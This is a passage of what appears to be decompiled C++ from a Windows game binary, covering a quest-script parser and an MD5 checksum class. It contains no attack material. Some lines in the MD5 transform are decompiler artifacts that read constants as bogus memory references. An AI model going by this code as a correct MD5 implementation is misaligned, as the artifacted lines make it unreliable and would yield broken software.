*(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[16] = v29; result = v30; } else { result = v65; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v26; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 17; result->Cmd = 0; } } else { v28 = v65; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = TokenID; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[16] = v1->m_Var[v27]; result = v28; } } return result; case 0x12u: v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = (QUEST_SCRIPT_COMMAND)CToken::GetToken(v2); return &v1->m_QSC; case 0x14u: v33 = 7; v34 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 7u); v35 = TokenID; if ( TokenID == -1 ) { v41 = v65; v42 = v65; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v34; result = v42; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 20; v41->Cmd = 0; return result; } v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = TokenID; v36 = (char **)v1->m_ppQSV; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v35]; v37 = CToken::GetTokenID(v2, &TokenID, v36, 7u); v38 = TokenID; if ( TokenID != -1 ) { v39 = v65; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCode = TokenID; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = v1->m_Var[v38]; return v39; } if ( !CQuestParserScript::IsDigitStr(v1, v37) ) { v40 = v65; v65->Cmd = 0; result = v40; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v37; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 20; return result; } goto LABEL_83; case 0x15u: v33 = 7; v43 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 7u); v44 = TokenID; if ( TokenID == -1 ) { v49 = v65; v50 = v65; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v43; result = v50; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 21; v49->Cmd = 0; return result; } v45 = (char **)v1->m_ppQSV; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = TokenID; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v44]; v37 = CToken::GetTokenID(v2, &TokenID, v45, 7u); v46 = TokenID; if ( TokenID != -1 ) { v47 = v65; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCode = TokenID; v48 = v1->m_Var[v46]; result = v47; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = v48; return result; } if ( !CQuestParserScript::IsDigitStr(v1, v37) ) { result = v65; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v37; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 21; result->Cmd = 0; return result; } goto LABEL_83; case 0x16u: v33 = 7; v51 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 7u); v52 = TokenID; if ( TokenID == -1 ) { v59 = v65; v60 = v65; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v51; result = v60; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 22; v59->Cmd = 0; } else { v53 = (char **)v1->m_ppQSV; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = TokenID; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v52]; v37 = CToken::GetTokenID(v2, &TokenID, v53, 7u); v54 = TokenID; if ( TokenID == -1 ) { if ( CQuestParserScript::IsDigitStr(v1, v37) ) { LABEL_83: *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCode = v33; v57 = atoi(v37); v58 = v65; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = v57; result = v58; } else { result = v65; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v37; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 22; result->Cmd = 0; } } else { v55 = v65; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCode = TokenID; v56 = v1->m_Var[v54]; result = v55; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = v56; } } break; default: goto LABEL_106; case 0x10u: return &v1->m_QSC; } return result; } //----- (00569B80) -------------------------------------------------------- void __thiscall CQuestParserScript::ParserClose(CQuestParserScript *this) { CToken::Close(&this->m_Token); } //----- (00569B90) -------------------------------------------------------- int __thiscall CQuestParserScript::GetScriptVariableValue(CQuestParserScript *this, unsigned int *pValue, unsigned __int16 nQuestID, QUEST_SCRIPT_VARIABLE VarID, unsigned int Value) { int result; // eax@2 PLAYER_QUEST_INFO *v6; // eax@3 switch ( VarID ) { case 0: case 1: case 2: case 3: case 4: case 5: *pValue = this->m_Var[VarID]; result = 1; break; case 6: v6 = CQuest::GetQuestInfo(this->m_pQuest, this->m_QuestID); if ( !v6 ) goto LABEL_6; *pValue = v6->Data.ProgressStep; goto $L84835; case 7: $L84835: *pValue = Value; result = 1; break; default: LABEL_6: result = 0; break; } return result; } //----- (00569C10) -------------------------------------------------------- int __thiscall CQuestParserScript::CommandRun(CQuestParserScript *this, STRUCT_QSC *pCmd) { STRUCT_QSC *v2; // esi@1 CQuestParserScript *v3; // edi@1 int result; // eax@2 int v5; // eax@6 bool v6; // cf@10 unsigned int Value2; // [sp+0h] [bp-4h]@1 Value2 = (unsigned int)this; v2 = pCmd; v3 = this; switch ( pCmd->Cmd ) { case 0x10: CToken::GoNextLine(&this->m_Token); return 1; case 0x11: if ( !CQuestParserScript::GetScriptVariableValue( this, (unsigned int *)&pCmd, this->m_QuestID, (QUEST_SCRIPT_VARIABLE)pCmd->Data.STRUCT_QSC_ERROR.ErrCmd, (unsigned int)pCmd->Data.STRUCT_QSC_ERROR.pErrStr) || !CQuestParserScript::GetScriptVariableValue( v3, &Value2, v3->m_QuestID, *(QUEST_SCRIPT_VARIABLE *)&v2->Data.STRUCT_QSC_CALLPS.FileName[12], *(_DWORD *)&v2->Data.STRUCT_QSC_CALLPS.FileName[16]) ) goto $L86166; switch ( *(_DWORD *)&v2->Data.STRUCT_QSC_ERROR.ErrCode ) { case 0: v5 = pCmd == (STRUCT_QSC *)Value2; goto LABEL_13; case 1: v5 = pCmd != (STRUCT_QSC *)Value2; goto LABEL_13; case 2: v5 = (unsigned int)pCmd < Value2; goto LABEL_13; case 3: v5 = Value2 < (unsigned int)pCmd; goto LABEL_13; case 4: v6 = Value2 < (unsigned int)pCmd; goto LABEL_12; case 5: v6 = (unsigned int)pCmd < Value2; LABEL_12: v5 = 1 - v6; LABEL_13: if ( !v5 ) goto LABEL_14; goto LABEL_23; default: LABEL_14: CQuestParserScript::ParserNext(v3); result = 1; break; } return result; case 0x12: if ( CQuestParserScript::MarkGo(this, (const char *)pCmd->Data.STRUCT_QSC_ERROR.ErrCmd) ) goto LABEL_23; goto $L86166; case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: case 8: case 9: case 0xA: case 0xB: case 0xC: case 0xD: case 0xE: case 0xF: case 0x17: case 0x18: case 0x19: case 0x1A: case 0x1B: case 0x1C: goto $L86166; case 0x14: if ( !CQuestParserScript::GetScriptVariableValue( this, (unsigned int *)&pCmd, this->m_QuestID, *(QUEST_SCRIPT_VARIABLE *)&pCmd->Data.STRUCT_QSC_ERROR.ErrCode, *(_DWORD *)&pCmd->Data.STRUCT_QSC_CALLPS.FileName[12]) ) goto $L86166; v3->m_Var[v2->Data.STRUCT_QSC_ERROR.ErrCmd] = (unsigned int)pCmd; return 1; case 0x15: if ( !CQuestParserScript::GetScriptVariableValue( this, (unsigned int *)&pCmd, this->m_QuestID, *(QUEST_SCRIPT_VARIABLE *)&pCmd->Data.STRUCT_QSC_ERROR.ErrCode, *(_DWORD *)&pCmd->Data.STRUCT_QSC_CALLPS.FileName[12]) ) goto $L86166; v3->m_Var[v2->Data.STRUCT_QSC_ERROR.ErrCmd] += (unsigned int)pCmd; return 1; case 0x16: if ( CQuestParserScript::GetScriptVariableValue( this, (unsigned int *)&pCmd, this->m_QuestID, *(QUEST_SCRIPT_VARIABLE *)&pCmd->Data.STRUCT_QSC_ERROR.ErrCode, *(_DWORD *)&pCmd->Data.STRUCT_QSC_CALLPS.FileName[12]) ) { v3->m_Var[v2->Data.STRUCT_QSC_ERROR.ErrCmd] -= (unsigned int)pCmd; LABEL_23: result = 1; } else { $L86166: result = 0; } return result; default: goto LABEL_23; } } //----- (00569E40) -------------------------------------------------------- void __thiscall CQuestParserScript::_CQuestParserScript(CQuestParserScript *this) { CToken *v1; // esi@1 this->vfptr = (CQuestParserScriptVtbl *)&CQuestParserScript::_vftable_; v1 = &this->m_Token; CToken::Close(&this->m_Token); CToken::_CToken(v1); } // 5DBB38: using guessed type int (__thiscall *CQuestParserScript___vftable_)(CQuestParserScript *this, int pCmd); //----- (00569EA0) -------------------------------------------------------- int __thiscall CQuestParserScript::MarkAdd(CQuestParserScript *this, const char *pMarkName, const char *pMarkPoint) { CQuestParserScript *v3; // esi@1 signed int v4; // eax@2 int result; // eax@3 int v6; // eax@4 v3 = this; if ( CQuestParserScript::MarkGet(this, pMarkName) || (v4 = v3->m_NumOfMark, v4 >= 64) ) { result = 0; } else { v6 = (int)((char *)v3 + 4 * (5 * v4 + 15)); *(_DWORD *)v6 = 0; *(_DWORD *)(v6 + 4) = 0; *(_DWORD *)(v6 + 8) = 0; *(_DWORD *)(v6 + 12) = 0; _mbsnbcpy((char *)v3 + 20 * (v3->m_NumOfMark + 3), pMarkName, 0xFu); v3->m_Mark[v3->m_NumOfMark++].pMarkPoint = pMarkPoint; result = 1; } return result; } //----- (00569F10) -------------------------------------------------------- int __thiscall CQuestParserScript::ParserStart(CQuestParserScript *this, unsigned __int16 nQuestID, const char *pScript) { CQuestParserScript *v3; // esi@1 CToken *v4; // ebp@1 int v5; // edi@2 int v6; // eax@3 int result; // eax@12 v3 = this; this->m_QuestID = nQuestID; this->m_Var[0] = 0; this->m_Var[1] = 0; this->m_Var[2] = 0; this->m_Var[3] = 0; this->m_Var[4] = 0; this->m_Var[5] = 0; this->m_Var[6] = 0; this->m_Var[7] = 0; this->m_NumOfMark = 0; v4 = &this->m_Token; if ( !CToken::OpenFromMemory(&this->m_Token, (char *)pScript) ) goto LABEL_16; v3->m_NumOfError = 0; v5 = (int)&v3->m_QSC; do { CQuestParserScript::ParserNext(v3); v6 = *(_DWORD *)v5; if ( !*(_DWORD *)v5 ) ++v3->m_NumOfError; if ( v6 == 16 ) v3->vfptr->CommandRun(v3, &v3->m_QSC); if ( *(_DWORD *)v5 == 19 ) { if ( !CQuestParserScript::MarkAdd( v3, (const char *)v3->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd, v3->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr) ) ++v3->m_NumOfError; } } while ( *(_DWORD *)v5 != 31 ); if ( v3->m_NumOfError ) LABEL_16: result = 0; else result = CToken::GoBegin(v4); return result; } //----- (00569FD0) -------------------------------------------------------- void __thiscall CMD5Checksum::_CMD5Checksum(CMD5Checksum *this) { this->vfptr = (CMD5ChecksumVtbl *)&CMD5Checksum::_vftable_; } // 5DBB3C: using guessed type int (__thiscall *CMD5Checksum___vftable_)(void *p, char); //----- (00569FE0) -------------------------------------------------------- void *__thiscall CMD5Checksum::_vector_deleting_destructor_(CMD5Checksum *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (CMD5ChecksumVtbl *)&CMD5Checksum::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5DBB3C: using guessed type int (__thiscall *CMD5Checksum___vftable_)(void *p, char); //----- (0056A000) -------------------------------------------------------- void __thiscall CMD5Checksum::Transform(CMD5Checksum *this, char *Block) { char *v2; // eax@1 int *v3; // esi@1 signed int v4; // edi@1 int v5; // ebx@2 int v6; // edx@2 unsigned int v7; // edi@3 unsigned int v8; // esi@3 unsigned int v9; // edx@3 unsigned int v10; // ecx@3 int v11; // eax@3 int v12; // ecx@3 int v13; // edx@3 unsigned int v14; // ecx@3 int v15; // esi@3 unsigned int v16; // ecx@3 int v17; // edi@3 unsigned int v18; // ecx@3 int v19; // eax@3 int v20; // ecx@3 int v21; // edx@3 unsigned int v22; // ecx@3 int v23; // esi@3 unsigned int v24; // ecx@3 int v25; // edi@3 unsigned int v26; // ecx@3 int v27; // eax@3 int v28; // ecx@3 int v29; // edx@3 unsigned int v30; // ecx@3 int v31; // esi@3 unsigned int v32; // ecx@3 int v33; // edi@3 unsigned int v34; // ecx@3 int v35; // eax@3 int v36; // ecx@3 int v37; // edx@3 int v38; // ebx@3 unsigned int v39; // ecx@3 int v40; // esi@3 signed int v41; // ecx@3 unsigned int v42; // ecx@3 int v43; // edi@3 unsigned int v44; // ebx@3 int v45; // eax@3 int v46; // ecx@3 int v47; // edx@3 unsigned int v48; // ecx@3 int v49; // esi@3 unsigned int v50; // ecx@3 int v51; // edi@3 unsigned int v52; // ecx@3 int v53; // eax@3 char *v54; // ecx@3 int v55; // edx@3 unsigned int v56; // esi@3 unsigned int v57; // ecx@3 int v58; // edi@3 unsigned int v59; // ecx@3 int v60; // eax@3 int v61; // ecx@3 int v62; // edx@3 unsigned int v63; // ecx@3 int v64; // esi@3 unsigned int v65; // ecx@3 int v66; // edi@3 unsigned int v67; // eax@3 int v68; // ecx@3 int v69; // edx@3 unsigned int v70; // ecx@3 int v71; // esi@3 unsigned int v72; // ecx@3 int v73; // edi@3 unsigned int v74; // ecx@3 int v75; // eax@3 unsigned int v76; // edx@3 int v77; // ebx@3 unsigned int v78; // esi@3 int v79; // ecx@3 unsigned int v80; // edi@3 int v81; // edx@3 unsigned int v82; // eax@3 unsigned int v83; // ebx@3 int v84; // edi@3 unsigned int v85; // ecx@3 int v86; // esi@3 unsigned int v87; // ebx@3 int v88; // edx@3 unsigned int v89; // ecx@3 int v90; // eax@3 unsigned int v91; // ecx@3 int v92; // edi@3 unsigned int v93; // esi@3 int v94; // ebx@3 int v95; // ecx@3 unsigned int v96; // edx@3 unsigned int v97; // eax@3 unsigned int v98; // edi@3 int v99; // esi@3 unsigned int v100; // ebx@3 int v101; // edi@3 unsigned int v102; // ecx@3 int v103; // edx@3 unsigned int v104; // ecx@3 int v105; // eax@3 unsigned int v106; // ecx@3 int v107; // esi@3 unsigned int v108; // ecx@3 int v109; // edi@3 unsigned int v110; // ecx@3 int v111; // edx@3 unsigned int v112; // ecx@3 int v113; // eax@3 unsigned int v114; // ecx@3 int v115; // esi@3 unsigned int v116; // ecx@3 int v117; // edi@3 unsigned int v118; // ecx@3 int v119; // edx@3 unsigned int v120; // ecx@3 int v121; // eax@3 unsigned int v122; // ecx@3 int v123; // esi@3 unsigned int v124; // ecx@3 int v125; // edi@3 unsigned int v126; // ecx@3 int v127; // edx@3 unsigned int v128; // ecx@3 int v129; // eax@3 unsigned int v130; // ecx@3 int v131; // esi@3 unsigned int v132; // edi@3 int v133; // ebx@3 unsigned int v134; // edx@3 CMD5Checksum *v135; // [sp+10h] [bp-44h]@1 int X; // [sp+14h] [bp-40h]@1 int v137; // [sp+18h] [bp-3Ch]@3 int v138; // [sp+1Ch] [bp-38h]@3 int v139; // [sp+20h] [bp-34h]@3 int v140; // [sp+24h] [bp-30h]@3 int v141; // [sp+28h] [bp-2Ch]@3 int v142; // [sp+2Ch] [bp-28h]@3 int v143; // [sp+30h] [bp-24h]@3 int v144; // [sp+34h] [bp-20h]@3 int v145; // [sp+38h] [bp-1Ch]@3 int v146; // [sp+3Ch] [bp-18h]@3 int v147; // [sp+40h] [bp-14h]@3 int v148; // [sp+44h] [bp-10h]@3 int v149; // [sp+48h] [bp-Ch]@3 int v150; // [sp+4Ch] [bp-8h]@3 int v151; // [sp+50h] [bp-4h]@3 signed int Blocka; // [sp+58h] [bp+4h]@3 v135 = this; v2 = Block + 2; v3 = &X; v4 = 16; do { v5 = (unsigned __int8)*(v2 - 1); BYTE3(v6) = 0; *(_WORD *)((char *)&v6 + 1) = (unsigned __int8)v2[1]; ++v3; v2 += 4; LOBYTE(v6) = *(v2 - 4); --v4; *(v3 - 1) = (unsigned __int8)*(v2 - 6) | ((v5 | (v6 << 8)) << 8); } while ( v4 ); v7 = this->m_lMD5[1]; v8 = this->m_lMD5[2]; v9 = this->m_lMD5[3]; v10 = this->m_lMD5[0] + X + (v7 & v8 | v9 & ~v7) - 680876936; v11 = v7 + ((v10 << 7) | (v10 >> 25)); v12 = v9 + v137 + (v11 & v7 | v8 & ~(v7 + ((v10 << 7) | (v10 >> 25)))) - 389564586; v13 = v11 + (unsigned __int64)((signed __int64)__PAIR__(v12, v12) >> 20); v14 = v8 + v138 + (v11 & v13 | v7 & ~(v11 + (unsigned __int64)((signed __int64)__PAIR__(v12, v12) >> 20))) + 606105819; v15 = v13 + ((v14 << 17) | (v14 >> 15)); v16 = v7 + v139 + (v15 & v13 | v11 & ~(v13 + ((v14 << 17) | (v14 >> 15)))) - 1044525330; v17 = v15 + ((v16 >> 10) | (v16 << 22)); v18 = v11 + v140 + (v17 & v15 | v13 & ~(v15 + ((v16 >> 10) | (v16 << 22)))) - 176418897; v19 = v17 + ((v18 << 7) | (v18 >> 25)); v20 = v13 + v141 + (v19 & v17 | v15 & ~(v17 + ((v18 << 7) | (v18 >> 25)))) + 1200080426; v21 = v19 + (unsigned __int64)((signed __int64)__PAIR__(v20, v20) >> 20); v22 = v15 + v142 + (v19 & v21 | v17 & ~(v19 + (unsigned __int64)((signed __int64)__PAIR__(v20, v20) >> 20))) - 1473231341; v23 = v21 + ((v22 << 17) | (v22 >> 15)); v24 = v17 + v143 + (v23 & v21 | v19 & ~(v21 + ((v22 << 17) | (v22 >> 15)))) - 45705983; v25 = v23 + ((v24 >> 10) | (v24 << 22)); v26 = v19 + v144 + (v25 & v23 | v21 & ~(v23 + ((v24 >> 10) | (v24 << 22)))) + 1770035416; v27 = v25 + ((v26 << 7) | (v26 >> 25)); v28 = v21 + v145 + (v27 & v25 | v23 & ~(v25 + ((v26 << 7) | (v26 >> 25)))) - 1958414417; v29 = v27 + (unsigned __int64)((signed __int64)__PAIR__(v28, v28) >> 20); v30 = v23 + v146 + (v27 & v29 | v25 & ~(v27 + (unsigned __int64)((signed __int64)__PAIR__(v28, v28) >> 20))) - 42063; v31 = v29 + ((v30 << 17) | (v30 >> 15)); v32 = v25 + v147 + (v31 & v29 | v27 & ~(v29 + ((v30 << 17) | (v30 >> 15)))) - 1990404162; v33 = v31 + ((v32 >> 10) | (v32 << 22)); v34 = v27 + v148 + (v33 & v31 | v29 & ~(v31 + ((v32 >> 10) | (v32 << 22)))) + 1804603682; v35 = v33 + ((v34 << 7) | (v34 >> 25)); v36 = v29 + v149 + (v35 & v33 | v31 & ~(v33 + ((v34 << 7) | (v34 >> 25)))) - 40341101; v37 = v35 + (unsigned __int64)((signed __int64)__PAIR__(v36, v36) >> 20); v38 = ~(v35 + (unsigned __int64)((signed __int64)__PAIR__(v36, v36) >> 20)); v39 = v31 + v150 + (v35 & v37 | v33 & ~(v35 + (unsigned __int64)((signed __int64)__PAIR__(v36, v36) >> 20))) - 1502002290; v40 = v37 + ((v39 << 17) | (v39 >> 15)); v41 = ~(v37 + ((v39 << 17) | (v39 >> 15))); Blocka = v41; v42 = v33 + v151 + (v40 & v37 | v35 & v41) + 1236535329; v43 = v40 + ((v42 >> 10) | (v42 << 22)); v44 = v35 + v137 + (v43 & v37 | v40 & v38) - 165796510; v45 = v43 + (32 * v44 | (v44 >> 27)); v46 = v37 + v142 + (v45 & v40 | v43 & Blocka) - 1069501632; v47 = v45 + (unsigned __int64)((signed __int64)__PAIR__(v46, v46) >> 23); v48 = v40 + v147 + (v43 & v47 | v45 & ~v43) + 643717713; v49 = v47 + ((v48 << 14) | (v48 >> 18)); v50 = v43 + X + (v45 & v49 | v47 & ~(v43 + (32 * v44 | (v44 >> 27)))) - 373897302; v51 = v49 + ((v50 >> 12) | (v50 << 20)); v52 = v45 + v141 + (v51 & v47 | v49 & ~v47) - 701558691; v53 = v51 + (32 * v52 | (v52 >> 27)); v54 = &wholesaver.ws_savestore[377].gapf2b8[v47 + 8627] + v146 + (v53 & v49 | v51 & ~v49); v55 = v53 + (unsigned __int64)((signed __int64)__PAIR__((unsigned int)v54, (unsigned int)v54) >> 23); v56 = v55 + (((v49 + v151 + (v51 & v55 | v53 & ~v51) - 660478335) << 14) | ((v49 + v151 + (v51 & v55 | v53 & (unsigned int)~v51) - 660478335) >> 18)); v57 = v51 + v140 + (v53 & v56 | v55 & ~v53) - 405537848; v58 = v56 + ((v57 >> 12) | (v57 << 20)); v59 = v53 + v145 + (v58 & v55 | v56 & ~v55) + 568446438; v60 = v58 + (32 * v59 | (v59 >> 27)); v61 = v55 + v150 + (v60 & v56 | v58 & ~v56) - 1019803690; v62 = v60 + (unsigned __int64)((signed __int64)__PAIR__(v61, v61) >> 23); v63 = v56 + v139 + (v58 & v62 | v60 & ~v58) - 187363961; v64 = v62 + ((v63 << 14) | (v63 >> 18)); v65 = v58 + v144 + (v60 & v64 | v62 & ~v60) + 1163531501; v66 = v64 + ((v65 >> 12) | (v65 << 20)); v67 = v66 + (32 * (v60 + v149 + (v66 & v62 | v64 & ~v62) - 1444681467) | ((v60 + v149 + (v66 & v62 | v64 & (unsigned int)~v62) - 1444681467) >> 27)); v68 = v62 + v138 + (v67 & v64 | v66 & ~v64) - 51403784; v69 = v67 + (unsigned __int64)((signed __int64)__PAIR__(v68, v68) >> 23); v70 = v64 + v143 + (v66 & (v67 + (unsigned __int64)((signed __int64)__PAIR__(v68, v68) >> 23)) | v67 & ~v66) + 1735328473; v71 = v69 + ((v70 << 14) | (v70 >> 18)); v72 = v66 + v148 + (v67 & v71 | v69 & ~v67) - 1926607734; v73 = v71 + ((v72 >> 12) | (v72 << 20)); v74 = v67 + v141 + (v73 ^ v71 ^ v69) - 378558; v75 = v73 + (16 * v74 | (v74 >> 28)); v76 = v69 + v144 + (v75 ^ v73 ^ v71) - 2022574463; v77 = v75 + ((v76 << 11) | (v76 >> 21)); v78 = v77 + (((v71 + v147 + (v75 ^ v73 ^ (v75 + ((v76 << 11) | (v76 >> 21)))) + 1839030562) << 16) | ((v71 + v147 + (v75 ^ v73 ^ (v75 + ((v76 << 11) | (v76 >> 21)))) + 1839030562) >> 16)); v79 = v78 ^ (v75 + ((v76 << 11) | (v76 >> 21))); v80 = v73 + v150 + (v75 ^ v78 ^ (v75 + ((v76 << 11) | (v76 >> 21)))) - 35309556; v81 = v78 + ((v80 >> 9) | (v80 << 23)); v82 = v81 + (16 * (v75 + v137 + (v81 ^ v79) - 1530992060) | ((v75 + v137 + (v81 ^ (unsigned int)v79) - 1530992060) >> 28)); v83 = v77 + v140 + (v82 ^ v81 ^ v78) + 1272893353; v84 = v82 + ((v83 << 11) | (v83 >> 21)); v85 = v78 + v143 + (v82 ^ v81 ^ v84) - 155497632; v86 = v84 + ((v85 << 16) | (v85 >> 16)); v87 = v81 + v146 + (v82 ^ v86 ^ v84) - 1094730640; v88 = v86 + ((v87 >> 9) | (v87 << 23)); v89 = v82 + v149 + (v88 ^ v86 ^ v84) + 681279174; v90 = v88 + (16 * v89 | (v89 >> 28)); v91 = v84 + X + (v90 ^ v88 ^ v86) - 358537222; v92 = v90 + ((v91 << 11) | (v91 >> 21)); v93 = v86 + v139 + (v90 ^ v88 ^ (v90 + ((v91 << 11) | (v91 >> 21)))) - 722521979; v94 = v92 + ((v93 << 16) | (v93 >> 16)); v95 = v94 ^ (v90 + ((v91 << 11) | (v91 >> 21))); v96 = v94 + (((unsigned int)(&wholesaver.ws_savestore[858].esc_abstate.buffer[v88 + 19341] + v142 + (v90 ^ v95)) >> 9) | ((_DWORD)((char *)&wholesaver + v88 + v142 + (v90 ^ v95) + 67918149) << 23)); v97 = v96 + (16 * (v90 + v145 + (v96 ^ v95) - 640364487) | ((v90 + v145 + (v96 ^ v95) - 640364487) >> 28)); v98 = v92 + v148 + (v97 ^ v96 ^ v94) - 421815835; v99 = v97 + ((v98 << 11) | (v98 >> 21)); v100 = v94 + v151 + (v97 ^ v96 ^ (v97 + ((v98 << 11) | (v98 >> 21)))) + 530742520; v101 = v99 + ((v100 << 16) | (v100 >> 16)); v102 = v96 + v138 + (v97 ^ v101 ^ v99) - 995338651; v103 = v101 + ((v102 >> 9) | (v102 << 23)); v104 = v97 + X + (v101 ^ (v103 | ~v99)) - 198630844; v105 = v103 + ((v104 << 6) | (v104 >> 26)); v106 = v99 + v143 + (v103 ^ (v105 | ~v101)) + 1126891415; v107 = v105 + ((v106 << 10) | (v106 >> 22)); v108 = v101 + v150 + (v105 ^ (v107 | ~v103)) - 1416354905; v109 = v107 + ((v108 << 15) | (v108 >> 17)); v110 = v103 + v141 + (v107 ^ (v109 | ~v105)) - 57434055; v111 = v109 + ((v110 >> 11) | (v110 << 21)); v112 = v105 + v148 + (v109 ^ (v111 | ~v107)) + 1700485571; v113 = v111 + ((v112 << 6) | (v112 >> 26)); v114 = v107 + v139 + (v111 ^ (v113 | ~v109)) - 1894986606; v115 = v113 + ((v114 << 10) | (v114 >> 22)); v116 = v109 + v146 + (v113 ^ (v115 | ~v111)) - 1051523; v117 = v115 + ((v116 << 15) | (v116 >> 17)); v118 = v111 + v137 + (v115 ^ (v117 | ~v113)) - 2054922799; v119 = v117 + ((v118 >> 11) | (v118 << 21)); v120 = v113 + v144 + (v117 ^ (v119 | ~v115)) + 1873313359; v121 = v119 + ((v120 << 6) | (v120 >> 26)); v122 = v115 + v151 + (v119 ^ (v121 | ~v117)) - 30611744; v123 = v121 + ((v122 << 10) | (v122 >> 22)); v124 = v117 + v142 + (v121 ^ (v123 | ~v119)) - 1560198380; v125 = v123 + ((v124 << 15) | (v124 >> 17)); v126 = v119 + v149 + (v123 ^ (v125 | ~v121)) + 1309151649; v127 = v125 + ((v126 >> 11) | (v126 << 21)); v128 = v121 + v140 + (v125 ^ (v127 | ~v123)) - 145523070; v129 = v127 + ((v128 << 6) | (v128 >> 26)); v130 = v123 + v147 + (v127 ^ (v129 | ~v125)) - 1120210379; v131 = v129 + ((v130 << 10) | (v130 >> 22)); v132 = v125 + v138 + (v129 ^ (v131 | ~v127)) + 718787259; v133 = v131 + ((v132 << 15) | (v132 >> 17)); v134 = v127 + v145 + (v131 ^ (v133 | ~v129)) - 343485551; v135->m_lMD5[0] += v129; v135->m_lMD5[1] += v133 + ((v134 >> 11) | (v134 << 21)); v135->m_lMD5[2] += v133; v135->m_lMD5[3] += v131; } //----- (0056A8F0) -------------------------------------------------------- void __thiscall CMD5Checksum::Update(CMD5Checksum *this, char *Input, unsigned int nInputLen) { CMD5Checksum *v3; // ebx@1 unsigned int v4; // edx@1 unsigned int v5; // ecx@1 unsigned int v6; // eax@1 unsigned int v7; // edx@1 int v8; // eax@1 unsigned int v9; // ebp@3 unsigned int v10; // esi@4 unsigned int i; // edi@4 v3 = this; v4 = this->m_nCount[0]; v5 = nInputLen; v6 = v4 >> 3; v7 = v4 + 8 * nInputLen; v8 = v6 & 0x3F; v3->m_nCount[0] = v7; if ( v7 < 8 * nInputLen ) ++v3->m_nCount[1]; v9 = 64 - v8; v3->m_nCount[1] += nInputLen >> 29; if ( nInputLen < 64 - v8 ) { i = 0; } else { memcpy(&v3->m_lpszBuffer[v8], Input, v9); CMD5Checksum::Transform(v3, v3->m_lpszBuffer); v10 = v9 + 63; for ( i = v9; v10 < nInputLen; i += 64 ) { CMD5Checksum::Transform(v3, &Input[v10 - 63]); v10 += 64; } v5 = nInputLen; v8 = 0; } memcpy(&v3->m_lpszBuffer[v8], &Input[i], v5 - i); } //----- (0056A9B0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall CMD5Checksum::Final(CMD5Checksum *this, std::basic_string,std::allocator > *result) { CMD5Checksum *v2; // esi@1 unsigned int v3; // ecx@1 int v4; // eax@1 int v5; // ecx@3 signed int v6; // eax@3 unsigned int v7; // ecx@5 int v8; // eax@5 signed int v9; // esi@7 char v10; // al@8 int v11; // eax@14 char v12; // cl@15 std::basic_string,std::allocator > *v13; // eax@21 char *v14; // [sp-Ch] [bp-90h]@11 const char *v15; // [sp-8h] [bp-8Ch]@11 char lpszMD5[16]; // [sp+Ch] [bp-78h]@1 char Str; // [sp+1Ch] [bp-68h]@16 void *p; // [sp+20h] [bp-64h]@14 int v19; // [sp+30h] [bp-54h]@14 unsigned int v20; // [sp+34h] [bp-50h]@14 char strMD5; // [sp+38h] [bp-4Ch]@16 void *v22; // [sp+3Ch] [bp-48h]@7 int v23; // [sp+4Ch] [bp-38h]@7 unsigned int v24; // [sp+50h] [bp-34h]@7 char lptemp[32]; // [sp+54h] [bp-30h]@9 unsigned int v26; // [sp+74h] [bp-10h]@21 int v27; // [sp+80h] [bp-4h]@7 v2 = this; *(_DWORD *)lpszMD5 = 0; v3 = 0; v4 = (int)((char *)&v2->m_nCount[0] + 2); do { lpszMD5[v3] = *(_BYTE *)(v4 - 2); lpszMD5[v3 + 1] = *(_BYTE *)(v4 - 1); lpszMD5[v3 + 2] = *(_BYTE *)v4; lpszMD5[v3 + 3] = *(_BYTE *)(v4 + 1); v3 += 4; v4 += 4; } while ( v3 < 8 ); v5 = (v2->m_nCount[0] >> 3) & 0x3F; v6 = 56; if ( (unsigned int)v5 >= 0x38 ) v6 = 120; CMD5Checksum::Update(v2, PADDING, v6 - v5); 